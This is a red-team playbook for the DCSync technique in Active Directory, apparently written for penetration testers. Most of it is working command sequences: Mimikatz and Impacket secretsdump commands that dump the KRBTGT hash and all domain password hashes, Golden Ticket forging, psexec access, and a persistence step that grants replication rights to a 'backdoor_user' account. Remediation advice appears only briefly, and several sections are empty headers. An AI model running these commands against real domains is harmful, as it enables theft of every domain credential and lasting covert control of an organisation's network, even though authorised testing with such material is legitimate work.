Conducting Domain Persistence With Dcsync

Conducting Domain Persistence with DCSync

Overview

DCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6.

Objectives

• Identify accounts with DCSync (replication) rights in Active Directory
• Perform DCSync using Mimikatz or Impacket's secretsdump.py
• Extract the KRBTGT account hash for Golden Ticket creation
• Dump all domain user password hashes for credential analysis
• Forge Golden Tickets for persistent domain access
• Grant DCSync rights to a controlled account for alternative persistence
• Document the attack chain and persistence mechanisms

MITRE ATT&CK Mapping

• T1003.006 - OS Credential Dumping: DCSync
• T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
• T1222.001 - File and Directory Permissions Modification: Windows
• T1098 - Account Manipulation
• T1078.002 - Valid Accounts: Domain Accounts

Implementation Steps

Phase 1: Identify Accounts with DCSync Rights

1. Enumerate principals with replication rights:

   # Using PowerView
   Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
     Where-Object { ($_.ObjectAceType -match 'Replicating') -and
                    ($_.ActiveDirectoryRights -match 'ExtendedRight') } |
     Select-Object SecurityIdentifier, ObjectAceType
   
   # Using BloodHound Cypher query
   MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)
   RETURN u.name, d.name
   

2. Using Impacket's FindDelegation or custom LDAP query:

   # Check with Impacket
   findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
   

3. Default accounts with DCSync rights:
   • Domain Admins
   • Enterprise Admins
   • Domain Controllers group
   • SYSTEM on Domain Controllers

Phase 2: DCSync Credential Extraction

1. Using Mimikatz (Windows):

   # Dump specific account (KRBTGT for Golden Ticket)
   mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"
   
   # Dump Domain Admin
   mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"
   
   # Dump all domain accounts
   mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"
   

2. Using Impacket secretsdump.py (Linux):

   # Dump all credentials
   secretsdump.py domain.local/admin:'Password123'@10.10.10.1
   
   # Dump specific user
   secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1
   
   # Dump only NTLM hashes (no Kerberos keys)
   secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1
   
   # Using Kerberos authentication
   export KRB5CCNAME=admin.ccache
   secretsdump.py -k -no-pass domain.local/admin@DC01.domain.local
   

Phase 3: Golden Ticket Creation

1. Using Mimikatz with extracted KRBTGT hash:

   # Create Golden Ticket
   mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \
     /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
     /krbtgt:<krbtgt_ntlm_hash> /ptt"
   
   # Create with specific group memberships
   mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \
     /sid:S-1-5-21-XXXXXXXXXX \
     /krbtgt:<krbtgt_ntlm_hash> \
     /groups:512,513,518,519,520 /ptt"
   

2. Using Impacket ticketer.py (Linux):

   # Create Golden Ticket
   ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \
     -domain domain.local administrator
   
   # Use the ticket
   export KRB5CCNAME=administrator.ccache
   psexec.py -k -no-pass domain.local/administrator@DC01.domain.local
   

Phase 4: Persistence via DCSync Rights

1. Grant DCSync rights to a controlled account for persistence:

   # Using PowerView - Add DS-Replication-Get-Changes-All rights
   Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
     -PrincipalIdentity backdoor_user -Rights DCSync
   
   # Verify rights were added
   Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
     Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" }
   

2. Using ntlmrelayx.py for automated DCSync rights escalation:

   # Relay authentication to add DCSync rights
   ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user
   

Tools and Resources

Critical Hashes to Extract

Detection Signatures

Validation Criteria

• Accounts with DCSync rights enumerated
• KRBTGT hash extracted via DCSync
• All domain credentials dumped successfully
• Golden Ticket forged and validated for DA access
• DCSync rights persistence mechanism established (if in scope)
• Access to Domain Controller validated with Golden Ticket
• Evidence documented with hash values and timestamps
• Remediation recommendations provided (double KRBTGT reset, ACL audit)